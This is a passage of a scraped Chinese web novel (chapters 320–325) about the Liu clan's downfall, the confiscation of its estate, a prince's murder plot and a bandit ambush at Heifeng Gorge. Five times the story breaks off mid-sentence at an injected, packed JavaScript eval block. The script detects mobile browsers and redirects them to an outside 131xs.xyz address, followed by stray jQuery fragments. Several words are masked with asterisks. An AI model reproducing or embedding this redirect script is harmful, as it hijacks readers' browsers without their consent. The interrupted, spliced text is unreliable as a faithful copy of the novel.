“陆路都被王爷您的人锁得死死的,只有海路这一线生机。而且柳家几代造船,对这片海熟得很,肯定有咱们不知道的隐秘水道。”
“所以,我让人找了附近的老渔民还有采珠人打听情况。砸了点银子,再加上柳家如今已经是过街老鼠,他们立刻就给我说了好几个柳观澜可能会出现的地方。”
“秦指挥使在船厂里搜,我带人去外边堵。最后还真在鬼石礁附近蹲到了他们仨。”
终于拿下作恶多端的柳家人了,晏逐星无比兴奋。
谢翊宁看着她亮晶晶的眼眸,受到她感染,忍不住也翘起了唇角。
“真厉害。等回了京城,本王一定让父皇给你记上一大功!”
第320章 人就怕对比
柳家上上下下,这回是真被一锅端了。
邢天海在府衙忙得是焦头烂额,但他没忘了去牢里嘲讽一下柳承宗。
“柳家主,这回如你所愿了,不用去流放了。”
听到这话,柳承宗脸上流露出一抹喜色。
他以为是三弟拿着柳家造船秘术和永安王谈判成功了。
他神色倨傲地看着邢天海:“邢大人,早说了,你判得太早,会后悔的。”
“我后悔?”邢天海指着自己的鼻子反问。
“哈哈哈哈哈哈,柳承宗,你是不是误会什么了?”
“你三弟煽动无知百姓**,害**船厂十八个人,重伤轻伤大大小小加起来二百人。王爷亲自去捉拿他,他竟然持械拒捕。桩桩件件,都是**的罪过。”
“如今,你们柳家已经被判了满门抄斩。”
柳承宗听到这话,脸色骤变:“不可能!永安王难道不想要我柳家的造船秘术了吗?”
他咬牙切齿道:“没有我们柳家,大虞造不出好船!他疯了吗?”
“我看疯的人是你吧。天天把柳家秘术挂在嘴上,还不是被令嘉县主拿到了。啧啧。”邢天海幸灾乐祸。
虽然他自己也快被判刑了,可一想到有人比他更惨,他顿时就没那么难受了。
“令嘉县主?”柳承宗一怔。
他还以为是永安王强行逼问二弟三弟问出来的。
怎么会是令嘉县主拿到的?
“不可能,不可能。”柳承宗不愿意相信。
令嘉县主只去了柳家一会儿,怎么就拿到了秘术?
见他疯了似的一直喃喃自语,邢天海笑呵呵道:“本官好人做到底,让你**也当个明白鬼。那秘术,是你夫人给她的。”
听到这话,柳承宗如遭雷击。
夫人?
怎么会是他的夫人?
她一个外姓人,他从未告诉过她任何造船的事情。
“没想到吧,你们柳家最后竟然败在了一个女人手里。”邢天海笑得更快活了。
“不,不可能——”柳承宗愤怒咆哮,“你一定在骗我对不对?”
欣赏完柳承宗的崩溃,邢天海没有回应他,心满意足地回去继续审案了。
永安王说了,只要把温如璋之前弄的那些冤假错案拨乱反正。
就可以给他一个恩典,保他全尸,赐他一杯毒酒,留他儿子一命。
不然按照《大虞律令》,他监守自盗之罪该判凌迟。
最好也不过一个斩立决。
但掉脑袋,多疼啊。
还是一杯毒酒的好。
最重要的是,能保住儿子的命,他们老邢家也算留后了。
他这情况,不知道比柳家好多少倍。
这么想着,邢天海竟然高兴了起来。
人啊,就怕对比。
*
抓获柳承德之后,谢翊宁马不停蹄地带人去抄了柳家。
柳大夫人早有心理准备,因此不慌不忙。她将册子交出去立了功,县主替她求了情,永安王网开一面,让她与柳承宗义绝,可以离开柳家自行归家。
因此她现在在这,只是想亲眼看着柳家覆灭。
柳二夫人和柳三夫人则是吓得脸色煞白。看着凶神恶煞的官兵们,吓得双腿发软,眼泪直流。
但她们一点声音也不敢发出,生怕惹怒了抄家的官兵。
当听到柳家十六岁以上的男丁全都抄斩,女眷和十岁以下的男丁,流放琼州,永世不得归乡时,柳三夫人忍不住发出了尖叫。
“琼州?!”
那里瘴气毒虫遍地,去了就是填**坑啊。
青州到琼州将近七千里,走路至少要走上大半年,她们真的能活着走到那里么?
倒不如随老爷去了得了。
抄家还在继续。
柳家人哭天喊地,外边的百姓们则是眼珠子都快要瞪出来了,惊叹声此起彼伏。
一箱箱金银珠宝咣当咣当往门外抬,整整两百年的家底,真不是白给的。
以前光是听说柳家如何如何豪富,可今天亲眼看着这些东西一箱接一箱,就跟地里长出来似的往外冒,所有
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16122682|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
人都被冲击到了。
就连谢翊宁也震惊。
他自小见过的好东西就已经够多了,这柳家攒下来的东西和他王府里的比起来,那真是有过之而无不及。
柳家竟然有一百零八尊一岁幼儿高的金罗汉,府里的人参甚至可以论斤称。
啧啧,皇宫都没那么奢侈。
这样一盘算,抄了柳家,年底和北境对战时,就不缺银子了!
想到这,谢翊宁脸上笑容就没停过。
柳家抄家抄了整整一夜,谢翊宁连柳家祠堂的柱子都没放过。
毕竟那可是上好的金丝楠木。
这木头,百年成材,价比黄金。这几根金丝楠木,抵得上寻常人家几辈子的花销用度了。
所以他主打一个能拆就拆。
等他拆完了,不,抄完了柳家,柳大夫人看到了晏逐星,急忙迎了上去。
“县主,您答应妾身的事情,可还作数?”
“放心吧。”晏逐星轻声安慰。
“柳承宗被斩,板上钉钉。柳文博如今虽不在青州,但他科举舞弊,人在京城里,是跑不掉的。你若不放心,可以随我们入京,亲眼看着他行刑。”
“可以吗?”柳大夫人眼睛瞬间亮了。
“自然可以。”晏逐星点了点头。
“那,那就打扰县主了。”柳大夫人也不想留在青州。
柳家出了事,只有她还活着,不用去打听,她都知道外边把她传成什么样了。
但她不在乎,她给儿子报仇了就好。
安慰了柳大夫人几句,晏逐星快步给谢翊宁送去了早饭。
“我阿爹亲手做的包子,王爷您尝尝。”
谢翊宁咬了一大口,心满意足道:“棠先生的手艺,真不错。”
晏逐星看了一眼被拆得空空荡荡的柳家,一时间竟无言以对。
“这是结束了么?”她扭头看向啃包子的王爷。
“嗯,差不多了,秦朔他们应该已经清点完毕了。”谢翊宁点了点头。
话音落下没多久,秦朔就过来汇报了。
第321章 她找回来了
“启禀王爷,查清了。”
“柳家一共查抄出白银五十万两,黄金罗汉一百零八尊……还有各类珠玉宝石、古董字画、田契房契……”
秦朔一口气念下去,语速越来越快,差点被那些庞大的数字给噎住。
按照正常赚钱的速度,柳家如果没有搞那些歪门邪道,别说造两百年的船了,就算造五百年的船也攒不下那么多东西。
“行了。这些东西带回京城,那可是大功一件啊!大家都辛苦了。”谢翊宁微微一笑,当即命鸣珂去买好酒好肉,好好犒赏众人一番。
这笔巨款,还得劳烦这一千二百位将士押送回京。
甚至他觉得还不够,最好父皇再从京城里派点人沿途过来。
这些东西,足以让路上的匪徒们疯狂。
反正他们如今还不急着回京。
“是。”鸣珂应下。
谢翊宁命隐麟卫快马加鞭将抄家结果传回京城,留下大部分人手保护这些脏银。
秦朔负责盯着邢天海,省得他重查那些冤假错案不尽心。
他则跟着其他人一块去重建棠家村了。
去了棠家村,遇见了老熟人。
徐有福领着娘亲和弟妹搬回来了。
和晏逐星推测的差不多,他们从未刻意露富过,但架不住有人把眼睛黏在他们身上。
见高氏的病好了,徐家人的衣裳也换了,人也看着康健了许多。猜到他们得了贵人不少赏银,纷纷找上门来借钱。
高氏将人打发走,结果没几日家里就遭了贼。
还好徐有福把钱藏得很好,这才没被偷走。
所以当晏逐星派人去找他们,问他们愿不愿意重新回棠家村的时候,徐有福和娘亲弟妹商议之后,当即决定搬回来。
反正青州到临清不算太远,有县主和王爷的照顾,他们日后在棠家村过得好,挣了银子,再多多回去给爹和爷奶上香。
看到棠风陵,徐有福激动得飞快地打手势比划,徐秀秀一如既往的当哥哥的嘴替,把他的话翻译出来。
“棠先生,哥哥见到您,很高兴。”
棠风陵没想到还能见到活着的棠家村人,一时间眼眶也红了。
“好孩子!”**该说些什么,轻轻拍了拍徐有福的肩膀。
“以后呀,棠家村的这些叔伯婶娘们,就要靠你照看了。”
“我一定会好好照看他们的。”徐有福拼命打手势点头。
大伙儿一起使劲,十多日后,棠家村总算慢慢有了点原来的样子。
屋子是新盖的,可人都不在了。
棠风陵看着看着,还是没绷住,眼泪掉了下来。
祠堂里那些牌位上的名字,都是他亲手写的。
棠家村那一百三十八口人,他一个都没落下。
初次之外,凭借着记忆,他把家里的爹娘长辈们的牌位,也全都做好了。
族长排在最前头,剩下的,不管男女老少,都有了自己的牌位,整整齐齐地摆在那儿。
祠堂落成这日。
他领着夫人和孩子,挨个给牌位上了香,然后一起跪了下来。
棠风陵看着最前面族长的牌位,清了清嗓子,开口说:“爹、娘,祖父各位叔伯婶娘……好久不见。”
他声音有点发哽,顿了一下,轻轻摸了摸女儿的脑袋。
“今日来,是有一件好消息要告诉你们。”
“咱家婋婋,找回来了!”
棠云婋跟在爹娘身边,跪得端端正正。
今日开祠堂,除了祭奠棠家村的族人,还要一件事就是重新还她名字。
从今往后,世上只有棠云婋,没有晏逐星了。
棠风陵看向女儿,温柔道:“婋婋,和长辈们打声招呼。”
她抬起脸,亮着嗓子,朝着那一排排牌位清清楚楚地喊了一声:“阿爷、阿奶,棠家村的长辈们……我是棠云婋,我回来了。”
说完她对着牌位重重磕了几个响头。
池塘里香火明明灭灭,像是在回应她。
棠风陵哽咽着继续开口:“当**,是我们对不起大家伙……”
“虽然此事非我们的本意,但确实是我
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16131246|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
们引来了那些豺狼……”
“如今祠堂立起来了,村子也会渐渐恢复人气,但这只是第一步。”
“我不会让各位亲长的血白流。”
“我棠风陵今日在此立誓:定要贼人血债血偿。你们……且在天上看着!”
说完他将手中的香插入香炉,随后跪地磕头。
每一下都磕得结结实实。
棠家人都认认真真地磕了头。
与此同时,邢天海那边的冤假错案也查得差不多了。
温如璋经手的案子里,竟然有三十多桩**,有七个人已经身亡,剩下的二十多个人有些要重回故土,有些无处可去。
谢翊宁直接派人当着全城百姓的面,客客气气地把这些无处可去的人请到了棠家村。
新盖好的房子分给他们住,村边新垦出来的田地也划给他们种,还每人补贴了十两银子。
这下,是实实在在给了这些百姓一条活路。
一切和棠云婋当初预料的差不多。
青州百姓们经此一事,心里头对永安王那个感激和佩服劲儿就别提了。
谢翊宁可不打算把功劳揽在自己头上,派人先去赞颂了父皇。引导百姓们知道,此事都是皇上圣明。
没过多久,满青州的大街小巷都知道了,当今皇上是真心为民做主的真龙天子,赞扬皇上的歌谣和话本子也渐渐多了起来。
柳家十六岁以上的男丁皆被抄斩,柳承宗三兄弟则被谢翊宁扔到了笼子里,和饿虎搏斗。
让他们也尝一尝那些被他们当做乐子的百姓们的苦楚。
三兄弟都被猛虎咬得缺胳膊断腿,临死前,连眼睛都闭不上。
百姓们对此连连叫好。
一切大功告成。
谢翊宁派人将萨尔司澜送回西戎,自己领着棠家一行人打道回京。
*
青州这边谢翊宁的动静闹得是沸沸扬扬,他的消息早早就传回了京城里。
不仅文昭帝和崔皇后知道,睿王也知道了。
他还没来得及做出应对,就被叫到了宫里。
第322章 低估谢翊宁
“你是不是有事瞒着本宫?”卢贤妃盯着他,脸色阴沉得不像话。
“母妃说什么,儿臣不明白。”睿王面不改色地回答。
卢贤妃看他这副油盐不进的样子,心头的火“噌”地就顶到了嗓子眼,声音陡然拔高:“永安王**一事是不是和你有关?”
睿王没想到这事竟然让母妃察觉了。
那会不会还有别人也知道了?
他顿时紧张了起来。
“是……但……”他下意识想要辩解。
“啪。”
一记响亮的耳光狠狠扇在他脸上,力道之大,打得他头都偏了过去,脸颊火辣辣地疼。
睿王捂着脸,震惊地抬头看向自己的母妃,眼中全是难以置信的茫然。
从小到大,母妃连重话都很少对他说,更别说动手了。
“你!你是要活活气死本宫是不是?!”卢贤妃气得浑身发抖,指尖几乎戳到他鼻子上。
“本宫交代过你什么?是不是让你沉住气!沉住气!谢翊宁他还能活几年?啊?!”
“一个短命鬼,你跟他计较什么?景王前车之鉴就在眼前,还不够你警醒吗?”
她万万没想到,自己千叮咛万嘱咐还是没劝住儿子。
他竟然阳奉阴违,在背后捅出了这天大的窟窿。
“等等等,你要我等到猴年马月去?再等下去,父皇就要把我分去封地了。那个时候我连入京都难,还怎么争?!”睿王愤怒反驳。
“只有谢翊宁**,太子和皇后才会备受打击。到时候您才有机会分走父皇对皇后的宠爱,我也才有机会让父皇多看我几眼!”
时至今日,他依旧不觉得自己想杀了谢翊宁有什么错。
唯一的错就是他低估了谢翊宁的命硬的程度。
竟然让他给活下来了。
“你……你……”卢贤妃被他这番理直气壮的混账话顶得眼前发黑,她捂着心口坐回了椅子上,手哆嗦着说不出话来。
卢贤妃的贴身大宫女寒香瞧见这一幕,吓得脸色发白,赶忙给自家娘娘倒茶。
“娘娘息怒,您的身子要紧啊……”
睿王吼完,看着母妃煞白的脸色和痛苦的神情,心头也是一阵发虚和后悔。
他抿紧了唇,别开脸,不再吭声。
卢贤妃喝了寒香喂的茶之后,终于平复了心情。
她压着怒火开口质问:“你可知此事若是被你父皇知道,会是什么后果?”
睿王沉默了一瞬。
若事情被父皇知晓,那他一定会被赐死。
整个睿王府上下都会被牵连。
“母妃放心,父皇不会知道的。此事是康乐先动的手,我会把所有证据都推给她的。”他把自己的打算说了出来。
卢贤妃听到儿子早有安排,提到康乐公主,紧绷的心弦略微松了一线。
康乐公主乃是景王的胞妹,景王因为皇后母子被废,她记恨谢翊宁合情合理。
让她来当替罪羊,再好不过了。
但她心里还是有些不安。
“你确定当初派去临清的人扫尾扫干净了吗?你能发现她的人,焉知她发现不了你的人?若她也察觉了是你的人在背后推波助澜,她会不会反咬一口,把脏水全泼到你身上?来个鱼死网破?”
卢贤妃一口气问出了好几个问题。
“儿臣不会给她机会的。”睿王垂下眼眸,掩饰眼中一闪而过的杀机。
“你打算怎么做?”卢贤妃死死盯着儿子。
此事事关重大,若处理不干净,按照皇上对永安王的重视程度,整个京城都要抖三抖。
睿王沉默片刻,将自己的打算说了出来。
卢贤妃听完也沉默了。
许久后,她才叹了一口气:“罢了,就按你说的那样做吧。”
她盯着睿王红肿的脸颊看了一眼,发现上面还清晰地印着自己的指痕。
心下一惊,这个节骨眼,可不能传出他们母子不合的消息。
她挥
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16131247|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了挥手,声音带着一种心力交瘁的沙哑:“寒香,去端盆热水来,再拿条干净的热毛巾。”
寒香应声而去,很快将她要的东西送了上来。
卢贤妃没再说话,示意睿王坐下。
她亲自拧干了热毛巾,小心翼翼地将温热的毛巾敷在了儿子红肿的脸颊上。敷了好一阵,那红肿才稍稍消退了些,指痕变得模糊。
“寒香,取玉肌膏来。”卢贤妃吩咐下去,亲自给儿子上药。
将红肿处薄薄涂了一层,她端详着儿子的侧脸,确认那痕迹在昏暗光线下已极难察觉,才松了一口气。
“好了。”她的声音依旧低沉,带着劫后余生般的疲惫,却比刚才多了一丝不易察觉的柔和。
“脸上的印子已经消了,莫要让旁人再看出异样。记住,万事小心。母妃只有你一个孩子,你可万万不能出事啊。”
睿王站起身,低低应了一声:“儿臣明白,母妃保重。”
他行了一礼,匆匆离开。
他还是没有把实话告诉母妃,他做了两手准备。
一个是弄死康乐,另一个是弄死永安王。
永安王绝对不能安全回到京城。
不然,他就彻底完了。
回到睿王府,他便匆匆将心腹暗卫召来。
“消息放出去了么?”
“王爷放心,已经全都散出去了。”暗卫点头。
“如今青州到京城一线,但凡有点名号的山寨,都收到了风声。”
几十万两官银不好销赃。
但那一百零八尊黄金罗汉,可就不一样了。
那可是实打实的金子,还不愁销路。
一百零八尊里随便抢上一部分,也足够他们逍遥一辈子了。
“嗯。盯紧他们回京的路上,这一次,务必要保证一击即中。”睿王点了点头。
只要那些人动手,他的人就能趁乱捡漏。
就算失手,也只会查到那些山匪头上,跟睿王府沾不上半点关系。
第323章 宁愿没出息
未央宫里。
崔皇后忧心忡忡。
文昭帝一进来就看到了她眉头紧锁的模样,忍不住关心道:“何事令皇后这般烦忧?”
崔皇后这才惊觉皇帝来了,赶紧起身要行礼:“臣妾见过皇上。”
文昭帝一把扶住她胳膊:“跟朕还讲究这些虚礼做什么,坐下说话。”
他拉着皇后坐下,仔细瞧她脸色。
“小石头真是出息了!不仅替朕将柳家那毒瘤给拔了,抄回了那么多东西,还带回了柳家造船秘术,这可是大功一件。眼看着他就要回京了,你该高兴才是啊,怎么反倒一副他闯了大祸的模样?”
崔皇后被他这么一说,脸上浮起了一丝苦笑:“臣妾倒宁愿他没那么出息呢。”
“您想想,柳家抄出来的那可是金山银山啊!”
“青州到京城,上千里的路程。他们这几十车的东西,紧赶慢赶都要一两个月才能抵达京城。这一路上山高林密,沟沟坎坎,怎么可能平安无事。”
“这消息若是传开了,那些占山为王的饿狼见了肉,能不扑上去?”
她越说越急,眼圈都红了。
“小石头虽然带了一千多人回京,可他前阵子刚遭了刺杀,身子骨还没好利索呢。臣妾一想到他可能会再次遇险,我这心就跟在油锅里煎着一样。”
她一把攥住了文昭帝的袖子,像抓着救命稻草:“皇上,您得想想办法啊!不能让他就这么回来,太危险了。他若再出什么事,臣妾也不想活了。”
她一口气说完,胸口起伏,眼巴巴地望着皇帝,那眼神里的恐惧和哀求藏都藏不住。
文昭帝看着心疼得厉害,一把将她揽到了怀里。
“放心,朕还没老糊涂呢。而且那小子比你想的精明多了,老早就催人八百里加急传信回来找朕要护身符了。”
他轻笑一声,语气轻快了不少。
“京郊大营那边,朕早已经点了神枢营精良的一千骑兵,两日前就命朱将军打着‘清剿山匪、整修官道’的旗号,带着他们往西边迎过去了。”
“还有,隐麟卫的暗桩朕也撒出去了。他们不跟大队走,专抄小路。小石头的队伍前头有什么风吹草动,自然会有人提前给他清干净。”
他捏了捏崔皇后的手,语气斩钉截铁:“皇后就把心放回肚子里吧。朕的儿子,押着赃物回京,要是让几个**贼劫了道,朕这皇帝的脸往哪搁?朝廷的威严还要不要了?”
崔皇后听着皇上这实实在在的安排,悬着的心总算往下落了落。
她唇角微弯,露出一抹清浅的笑意,声音也放得温软了些:“皇上深谋远虑,思虑周全。那些魑魅魍魉纵有觊觎之心,在您这运筹帷幄面前,也不过是螳臂当车罢了。”
她顿了顿,眼波流转间,带着点恰到好处的叹服。
“臣妾这点子忧惧,在皇上面前,倒显得杞人忧天,徒惹皇上烦忧了。”
文昭帝看她脸色缓和了点,也露出了笑容:“皇后不烦了,朕自然也就没有任何烦忧了。”
“放心,小石头可不是个会吃亏的主儿。你就等着他全须全尾地回来给你请安吧。”
说到这他顿了顿,又补充了一句。
“朕跟你保证,这一回,一定不会让任何人伤害咱们的孩子。你与其烦恼他能不能安然无恙的回京,倒不如想想回头他来未央宫找你要赏赐,你该给什么吧。”
“听说,那令嘉县主救了他好几次呢。”
崔皇后听到这话,忍不住抬手扶额。
皇上说得极是。
那孩子护短,重情重义。
这一次回来,肯定会想办法替他的小恩人邀功。
她确实得好好想想,该赏些什么了,免得儿子一张口要赏赐,她说不出来。
*
回京路上,人心都提到了嗓子眼。
押运的将士们个个面色紧绷,连大气都不敢喘一口,时刻注意着身边的风吹草动,生怕忽然敌袭。
唯独谢翊宁不慌不忙,命众人原地修整。
棠云麒从前押镖时走过这条路,他想起这前边就是黑风峡,快步上前提醒。
“王爷,前方不远处就是黑风峡了!
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16132888|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”
“那鬼地方,窄得跟个葫芦嘴似的。官道打中间过,两边是几十丈高的悬崖。当初我押镖时老镖头就跟我说过,那地方危险得很,能别走就别走。”
“山匪只要占住两边山头,往下攻击,那下边的人就是活靶子。到时候插翅也难飞!”
“据说里边还有个黑风寨。寨主屠猛,外号过山虎。是个心黑手狠、**不吐骨头的主。据说手下聚拢了好几百号亡命徒,专在这黑风峡里做没本钱的买卖。手段极其下作,从来不留活口。王爷,咱们是不是该绕道啊?”
他们带了那么多金银珠宝,黑风寨怎么会放过到嘴边的肉,他们一定会出来劫道的。
谢翊宁点了点头:“棠大公子提醒的是,只是现在绕道怕是也已经来不及了。想必,那位寨主已经等我们很久了。”
棠云麒眉头微皱。
他怎么感觉永安王这话,怪怪的。
只要不进那条官道,想走还是来得及的呀。
只见谢翊宁的目光投向两侧看似寂静的山林深处,唇角勾起了一抹笑。
他微微抬起下巴,开口道:“看见左崖顶上,那块像鹰嘴一样探出来的大青石了吗?”
棠云麒顺着他说的方向望去,发现了一块被密林掩映着若隐若现的大青石。
“屠猛此刻应该就在那石头后面。”谢翊宁的声音不高,却十分笃定。
“右边崖顶,那片歪脖子松林后面,大概埋伏着他们最精锐的弓箭手,至少五十张硬弓。”
“谷口往里二里半拐弯的地方,他们挖了陷坑,布了绊马索。出口那边,用砍倒的巨木和碎石堵了大半,只留了一条窄缝。就等着我们挤进去挨宰。”
他每说一句,棠云麒的眼睛就瞪大了一分。
王爷怎么知道得这么清楚的?!
连对方主将在哪、弓箭手数量、陷阱位置都一清二楚?
这简直像是他亲自上去布置的一样。
谢翊宁理了理头顶遮阳的斗笠,唇角上翘:“准备得可真是充分呀。不过,谁宰谁,还不一定呢。”
第324章 就是有实力
黑风峡,青石崖上。
屠猛正居高临下地看着谢翊宁一行人的车队,眼里绽放出精光。
干完这一票,他们就可以金盆洗手了。
他身后的二当家和三当家,都有些激动,但更多的是止不住的担心。
二当家开口道:“大哥,您觉得咱们今日真的能留下永安王这行人么。”
他们寨子里有三百余人,但永安王这边带了一千多人呢。
“当然,他们必须全都死在这。”屠猛眯起了眼睛。
“可队伍里有永安王呢……”三当家有些迟疑。
众所周知,永安王是帝后最疼爱的孩子。
他若死在了这里,恐怕黑风峡都会被铲平。
“所以,不是还有青龙寨和黄龙寨的人么。”屠猛咧嘴一笑,眼里满是算计。
得知永安王会路过黑风峡后,他立刻就动了歪脑筋。
这么多金山银山,不咬一口都对不起他“过山虎”的威名。
但他也清楚,当今帝后对永安王的在乎程度,所以他一早就想好了退路。
把青龙寨和黄龙寨的人拉过来一起,到时候,皇上要剿匪,肯定也是先去剿更靠近京城的他们。
而他们黑风寨,干完这一票就金盆洗手挪窝了。
皇上要找,也找不到他们。
“别担心了,咱们三个寨子的人加起来也有一千多人,再加上黑风峡这险峻的地形,永安王今日必定会交代在这了。”屠猛拍了拍两人的肩膀。
他看了一眼三当家:“你不是一直想试试那些贵族小姐的滋味么,今日若杀了永安王,那令嘉县主的滋味,就让你尝尝。”
三当家听到这话,脸上浮起了色眯眯的笑容。
那位令嘉县主,他可是盯了很久了。
从青州起,一直盯到了黑风峡。
“多谢大……”
最后一个“哥”字还没说出口,一支弓箭从后心射了过来。
三当家整个人往前一扑,屠猛和二当家还没反应过来,就看到他直直从青石崖上栽了下去。
“三弟!”二当家失声尖叫,扑到崖边向下望去,只看到三当家那身显眼的褐色短打迅速变小,重重砸在下方的石头上,再无声息。
“谁?!”屠猛猛地转身,浑身肌肉绷紧如铁,手已按在了腰间大环刀的刀柄上。
他脸上的算计和得意荡然无存,只剩下惊骇和暴怒。
守在他们身后的二十多个黑风寨精锐山匪也震惊不已。
山口什么时候来人了,他们怎么不知道?
守在外边的弟兄们呢?
屠猛望向对面通往崖顶的唯一小径口,发现那里不知何时立着几个人影。
为首的是一个女子。
她身边跟着三男一女。
拉弓的正是方青鸾。
她听到那黑风寨三当家的污言秽语,就忍不住了,直接拉弓射穿了他的后心。
她的女儿,岂容这等腌臜污秽之徒用言语亵渎。
一旁的棠云婋看得心潮澎湃,眼眸里全是毫不掩饰的崇拜与向往。
她如今只能拉开两石弓。
而她的阿娘,年过不惑,竟能如此轻松地驾驭这三石的杀器。
看来她要学的还有很多啊!
站在方青鸾身后的登州军将领程卫,更是惊得下巴都快砸到脚面上了。
方才王爷让他跟着这位乡野妇人上山截杀匪首,他心里还直犯嘀咕,他一个五品将军,怎么还要听一个妇人的。
在她拿起那张骇人的三石强弓时,他的怀疑更是达到了顶峰。
这位棠夫人怕不是故意在王爷面前逞强?
军中如他一般的顶尖神射手,能开一石半已是凤**麟角,这三石的弓简直是天方夜谭。
可此刻,那刺耳的弓鸣和那张被拉得如同满月的巨弓,像一记无形的耳光狠狠抽在他脸上。
什么逞强,人家就是有实力。
程卫被打击得人都有些蔫巴了。
跟在最后的壮汉阿图在心底暗暗感慨:程将军这回怕是要郁闷好久了。一个乡下妇人,一个柔弱县主,两人都比他厉害。
“是你们!”屠猛眼角抽搐着手拿玄铁巨弓的方青鸾。
他认出了眼前的两个人。
一个是令嘉县主棠云婋,另一个是她的母亲。
他万万没想到,一个看似寻常的妇人竟有如此骇人的神力。
他脑中一片混乱,这几人是怎么无声无息摸上崖顶的?
他的质疑声还没发出来。
方青鸾又动了。
她左手握弓如提灯,右指勾弦似拈花。
没有多余
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16132889|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的话语,只有刻骨的冰冷杀意。
“嗡!!!”
第二箭再次袭来。
这一箭,比方才射杀三当家那一箭更加凶悍。
“大哥当心!”二当家提醒,随后拔刀冲向了棠云婋等人。
“愣着干嘛,还不赶紧拔刀护住大当家!”他一边吼一边提醒站在身后的二十来个黑风寨精锐弟兄。
黑风寨那些山匪这才如梦初醒,嚎叫着挥刀扑了过来。
方青鸾射出这夺命一箭后,毫不停歇,弓弦再鸣。
第三箭射出。
饶是她天生神力,连开三次这三石的强弓,臂膀也传来一阵酸胀。
她果断后撤一步,让出射界。
几乎是无缝衔接。
程卫和棠云婋拉弓接上。
他们伸出的箭矢精准地扎入冲在最前的匪众。
七八个身影翻滚着扑倒在地,鲜血瞬间染红了岩石。
两轮精准的箭雨洗礼,加上方青鸾那三支威力骇人的重箭,二十多名精锐匪徒竟已倒下一半。
仅剩十个人惊魂未定地握着刀围在屠猛和二当家身边,脸上血色尽褪,满眼都是见了鬼的恐惧。
“杀!”屠猛没想到自己当了十几年的山匪,竟然在一对母女身上翻了船。
他大怒,拔刀领着众人冲了上去,要和他们正面交锋。
棠云婋一行人也放弃弓箭,直接拔出腰间的刀剑一块加入了战局。
这些匪徒哪里是棠云婋一行人的对手,二当家目眦欲裂,挥刀拼命想挡住程卫,却被棠云婋从侧面递出的一剑精准地刺穿了肋下。
剧痛让他动作一滞,方青鸾抓住这瞬息空档,握着刀狠狠劈下。
二当家的脑袋滚落到了地上。
“二弟!”屠猛发出一声悲吼。
他万万没想到,自己今日还没把永安王这头肥羊给宰了,竟然就被逼得无路可退。
他猛地转身,不顾身后残存手下的死活,用尽全身力气朝着青石崖的边缘狂奔。
棠云婋一剑劈翻最后一个挡路的匪徒,急喝道:“拦住他!”
方青鸾和程卫立刻追去。
屠猛冲到崖边,毫不犹豫地往下纵身一跃。
“想逃?!”方青鸾追了上来,提了一口气,再次挽弓对准了跳下悬崖的屠猛。
第325章 捉到追杀者
“铛!”
一声脆响。
箭矢射中屠猛小腿,巨大的冲击力让下坠的他歪了身子,猛地一荡。
屠猛惊出一身冷汗。
好在荡的方向离他提早留了后手的山洞并不远。
他借力荡了过去,稳住身形,毫不犹豫地拔出腰间的短柄斧刃,看也不看,反手就朝绳索猛力一斩。
绳索应声而断,坠向下方深不见底的峡谷。
屠猛的身影瞬间没入黑暗的山洞之中,留下的只有他咬牙切齿地威胁:“你们给老子等着。”
青石崖顶,山风卷着浓重的血腥味呼啸而过。
